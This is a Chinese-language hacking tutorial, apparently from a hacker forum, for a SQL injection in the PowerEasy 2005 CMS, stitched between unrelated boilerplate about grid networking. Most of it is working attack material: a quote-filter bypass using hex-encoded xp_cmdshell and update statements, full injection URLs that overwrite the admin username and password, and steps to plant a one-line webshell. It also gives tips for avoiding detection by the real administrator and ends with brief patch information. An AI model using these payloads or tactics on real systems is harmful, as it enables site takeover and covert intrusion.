網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 1,發現漏洞 
影響版本: 標準版 SQL版 企業版 SQL版 學校版 SQL版 政府版 SQL版 全功能版 SQL版 免費access 版 所有版本(包括免費版、商業SQL版及Access版) 不被影響的版本:2005動易ASSESS版 漏洞文件:Admin目錄下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp User 目錄下 User_Message.asp 等級:嚴重 描述: 此漏洞影響全部SQL版,如果用SA連接數據庫黑客可以拿到系統管理員權限。如果用普通用戶連接最嚴重情況,可以備份腳本木馬。一般情況可能改管理員登陸密碼,從而達到黑客登陸動易后臺。控制整個動易系統! ACCESS版可以得到管理員md5密碼! 主要問題在于 User_Message.asp http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90; MessageID 沒有嚴格過濾,有注入漏洞。只過濾了 單引號, 這就能擋住聰明的黑客嗎? 我們來看一下,User_Message.asp的源代碼、 ———————————————————————————————————— <!--#include file="User_CommonCode.asp"--> <% Call PE_Execute("PE_AdminCommon", "User_Message") %> —————————————————————————————————————— 動易系統是不開放源代碼的,User_Message.asp 源代碼的意思就是調用 PE_AdminCommon.dll 中的 User_Message 函數。 有人可能要問了這樣的漏洞怎么發現的呢? 像這樣的文件 只能用分支測試法 給這個文件用到的全部變量 都測試一遍。這是很耗時的測試方法。 2,分析漏洞 源程序是不開放的,所以源程序沒什么好分析的。 現在我們來這漏洞入侵動易2005 sp1系統。 首先分兩個版來說 1,SQL版, (1,發現注入點 User_Message.asp 文件中的 MessageID 沒有嚴格過濾。 測試,加 單引號, 正常返回。如圖一 
加 ; ,加 -- 都顯示出錯。 如圖二: 
看提示 就明白有注入點了,加單引號沒用,應當是過濾了引號。沒關系過濾了單引號 阻擋不了我們入侵的步伐。 [page_break](2,繞過單引號估計 注入點基本形式是這樣的 select * from pe_XXX where MessageID=(注入點) 我們想注入這樣的文件,就要繞過單引號。 下面這樣的代碼 我們可以用它來繞過單引號。 declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a 上面這語句主要是用來繞過單引號。不過我們要改一下, declare @a sysname select @a=<command> update pe_admin set password=@a where id=1-- ); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--
完整的url http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1-- 這條語句是給后臺的id=1的管理員密碼改成 3。因為@a=0x3300 ,0x3300 是16進制的3. 執行成功之后如圖3: 
(3,得到管理員權限 分兩步: 一,關聯前臺username 動易后臺登陸 要關聯前臺用戶。 先設置后臺管理員的前臺用戶名,為我們注冊的用戶。
declare @a sysname select @a=<command> update pe_admin set username=@a where id=1-- 說到這里,我要講一下@a 如果改 比如我們注冊的用戶為111111 @a=0x310031003100310031003100 我怎么知道的呢?隨便在網上找一個16進制轉換器就知道了, 比如 用這個工具轉換也行。 如圖4 
所以注入語句成了這樣的 ); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1-- 二,改后臺登陸的password 接著給后臺密碼改成我們的密碼。我們就可以想辦法登陸了。 declare @a sysname select @a=<command> update pe_admin set password=@a where id=1--
我們改后臺密碼,要改成已經加密的md5密碼 比如我們提供一個,469e80d32c0559f8 這是admin888加密之后的MD5密碼。 @a=0x3400360039006500380030006400330032006300300035003500390066003800 所以構造注入語句 ); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1-- 大家感覺很簡單吧!一般我們不這么做,教程 寫給新手看的,不能太難。 在真正的黑客行為中,如果給人家的后臺密碼改了,管理員登陸不上去。人家必然會發現的。 所以 給高手提供思路 自己研究一下。 比如 1,可以插入一個管理員 用完之后刪除 2,可以先暴出管理員密碼,用完之后,再還原。 (4,上傳木馬 1,rootclass_menu_config.asp 文件中的菜單其它特效 中插入一句話木馬。 如圖 5

插入一句話木馬之后,你可以用客戶端連接了。 2,給上傳屬性改成可以上傳ASP類型。上傳時抓包 給最后一個加上結束符。(類似于動網上傳) SQL版我只說這么多了,如果你上傳不了木馬,或者是找不到后臺管理地址,來我們論壇提問吧!有我們有辦法解決。 http://bbs.77169.com 2,ACCESS版 (1,如果發現漏洞 在測試免費版的動易系統之時,發現免費的ACCESS版動易用戶控制面板沒有 發送短消息的功能。 不過,動易留有相關接口,登陸用戶控制面板 直接瀏覽 User_Message.asp 也可以注入. (2,注入過程(略) mssql和access 注入過程是點不一樣的。基本相同,這也留給大家自己去測試吧。 三,解決方案
臨時解決方案: 解決方案(臨時):更新補丁包中的三個文件,并先刪除user目錄下的User_Message.asp文件。SP2正式版中將會修復此漏洞,請目前使用SP1的用戶盡快打好此補丁。 補丁下載: http://download.asp163.net/PowerEasy2005SP1Patch.rar 感謝llikz、怪狗等網友對系統進行安全檢測并無私提供相關漏洞信息!
網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。
|